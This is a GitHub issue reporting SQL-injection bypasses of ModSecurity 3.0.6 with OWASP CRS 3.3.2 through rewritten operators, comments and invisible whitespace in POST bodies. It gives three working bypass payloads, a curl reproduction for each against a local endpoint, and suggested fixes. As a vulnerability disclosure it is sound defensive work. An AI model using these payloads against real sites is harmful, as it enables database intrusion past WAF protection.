Skip to content

ModSecurity POST: SQLi bypass via request-body predicate/operator rewrites #3587

Description

@WAFSignal

[ModSecurity][POST] SQLi bypass via predicate/operator rewrites in request-body payloads

Summary

  • WAF: ModSecurity
  • Request manner: POST
  • Defect pattern: Predicate/operator rewrites in request-body payloads.
  • Evaluation scope: 623 unique SQLi mutation attempts; 215 successful bypasses were observed in this manner.
  • In our log format, 1 => 0 means the WAF decision changed from malicious/blocked to benign/allowed.

Environment

  • WAF version: 3.0.6
  • Notes: ModSecurity-nginx connector v1.0.2; OWASP Core Rule Set 3.3.2; OpenResty 1.19.9.1.

Mutation Rules Involved

The study associates this pattern with the following concrete fuzzer rules:

  • swap_int_repr: rewrites integer literals as equivalent hexadecimal values or (SELECT n) expressions
  • spaces_to_whitespaces_alternatives: replaces ordinary whitespace with tabs, newlines, form feeds, vertical tabs, or NBSP
  • command_injection: combines space-to-comment substitution with comment rewriting

Invisible-character Notation

The payload excerpts below render invisible characters explicitly so they can be reviewed and reproduced:

  • <TAB> = horizontal tab (\t, U+0009)
  • <LF> = line feed (\n, U+000A)
  • <CR> = carriage return (\r, U+000D)
  • <FF> = form feed (\f, U+000C)
  • <VT> = vertical tab (\v, U+000B)
  • <NBSP> = non-breaking space (U+00A0)

Representative Successful Examples

Case 1

  • Final decision change: 1 => 0
  • Matching rationale: The bypass appears in a request-body payload and relies on predicate/operator rewriting. Observable features: operator rewrite, request-body predicate rewrite, lexical/body separator.
  • Original payload excerpt:
...1%"));begin user_lock.sleep(5); end and (("%"="
  • Transformed payload excerpt, with invisible characters rendered explicitly:
0x1%"));beginuser_lock.sleep(0x5);end/*8Z`Lf*/and (("%"="

Minimal Reproduction

  • Endpoint: http://127.0.0.1:9000/waf
  • Method: POST
  • Parameter name: id
  • Content-Type: application/x-www-form-urlencoded
  • Transport encoding: the form body is URL-encoded.
  • Expected behavior: the WAF blocks the request as SQL injection.
  • Observed behavior in the evaluation: the transformed payload was allowed (1 => 0).
curl -i 'http://127.0.0.1:9000/waf' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-binary 'id=0x1%25%22%29%29%3Bbeginuser_lock.sleep%280x5%29%3Bend%2F%2A8Z%60Lf%2A%2Fand+%28%28%22%25%22%3D%22'

Case 2

  • Final decision change: 1 => 0
  • Matching rationale: The bypass appears in a request-body payload and relies on predicate/operator rewriting. Observable features: operator rewrite, request-body predicate rewrite, lexical/body separator.
  • Original payload excerpt:
... end and '%' = '
  • Transformed payload excerpt, with invisible characters rendered explicitly:
<FF>/*11Dlt*/<VT>and<TAB>'%'<LF><FF>lIKe<TAB><FF>'

Minimal Reproduction

  • Endpoint: http://127.0.0.1:9000/waf
  • Method: POST
  • Parameter name: id
  • Content-Type: application/x-www-form-urlencoded
  • Transport encoding: the form body is URL-encoded.
  • Expected behavior: the WAF blocks the request as SQL injection.
  • Observed behavior in the evaluation: the transformed payload was allowed (1 => 0).
curl -i 'http://127.0.0.1:9000/waf' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-binary 'id=%0C%2F%2A11Dlt%2A%2F%0Band%09%27%25%27%0A%0ClIKe%09%0C%27'

Case 3

  • Final decision change: 1 => 0
  • Matching rationale: The bypass appears in a request-body payload and relies on predicate/operator rewriting. Observable features: operator rewrite, request-body predicate rewrite, lexical/body separator.
  • Original payload excerpt:
...1' or 4915=(select count(*) from domain.domains as t1,domain.columns as t2,domain.tables as t3)--
  • Transformed payload excerpt, with invisible characters rendered explicitly:
0x1' or 0x1333 /*0x8`D<C*/ (/*jRuA*/ count(*) /**/ domain.domains /*XmwD-*/ t1,domain.columns /*]x3A*/ t2,domain.tables t3)--

Minimal Reproduction

  • Endpoint: http://127.0.0.1:9000/waf
  • Method: POST
  • Parameter name: id
  • Content-Type: application/x-www-form-urlencoded
  • Transport encoding: the form body is URL-encoded.
  • Expected behavior: the WAF blocks the request as SQL injection.
  • Observed behavior in the evaluation: the transformed payload was allowed (1 => 0).
curl -i 'http://127.0.0.1:9000/waf' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-binary 'id=0x1%27+or+0x1333+%2F%2A0x8%60D%3CC%2A%2F+%28%2F%2AjRuA%2A%2F+count%28%2A%29+%2F%2A%2A%2F+domain.domains+%2F%2AXmwD-%2A%2F+t1%2Cdomain.columns+%2F%2A%5Dx3A%2A%2F+t2%2Cdomain.tables+t3%29--'

Suggested Fixes

  • Run POST body parameters through the same decoding, canonicalization, and SQLi detection path as query-string parameters.
  • Detect request-body predicates semantically rather than relying on raw-string keyword matching.
  • Add these transformed payloads as regression tests and assert that they remain blocked after the fix.

Validation Plan

  • Replay the representative transformed payloads through the same request manner and confirm that the WAF still blocks them.
  • Add negative tests with benign requests containing ordinary comments, whitespace, or JSON formatting to monitor false positives.
  • Run the same canonicalization path across GET, GET(JSON), and POST to prevent request-manner-specific drift.

Metadata

Metadata

Assignees

No one assigned

    Labels

    3.xRelated to ModSecurity version 3.x

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions